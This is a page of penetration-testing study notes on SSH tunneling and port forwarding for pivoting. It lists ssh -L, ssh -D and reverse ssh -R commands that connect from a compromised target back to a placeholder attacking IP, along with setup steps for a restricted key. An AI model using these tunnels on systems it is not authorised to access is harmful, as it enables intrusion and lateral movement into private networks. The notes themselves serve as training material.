> For the complete documentation index, see [llms.txt](https://lswsec.gitbook.io/lswsec-offensive/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lswsec.gitbook.io/lswsec-offensive/pivoting/ssh-tunneling-port-forwarding.md).

# SSH tunneling/port forwarding

* forward connections
  * creating a forward ssh tunnel can be done from our attacking box when we have ssh access to the target
  * most commonly done against linux servers that have ssh active and open
  * port forwarding
    * ssh -L 8000:\<ip2>:80 user@\<ip1> -fN
    * best for when theres an website on ip2 and you have access to ip1
    * best practice to use a high local port number
  * proxies&#x20;
    * made with -D \<port>
    * ssh -D \<port> user@\<ip> -fN
* Reverse connections
  * preferable if you have shell on the serve but not ssh access
  * riskier as attacking machine must be accessed from the target
  * before making a connection theres a few steps to take first
    * first create a new set of ssh keys > ssh-keygen
    * copy the contents of the public key (file with .pub) and then edit \~/.ssh.authorized\_keys
      * may need to create \~/.ssh and authorised\_keys file
    * in the file paste
      * `command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty`
      * then past the public key
    * this makes sure the key can only be used for port forwarding and disallows the ability to gain a shell
  * once the first few steps are done, make sure the ssh service has started
  * now we can connect back with a reverse port forward using the following command
    * `ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN`
  * in newer versions of the ssh client, it is possible to create a reverse proxy with `ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN`
* to kill any of these connections type: "ps aux | grep ssh" into the terminal then find the pid, then run "sudo kill pid"
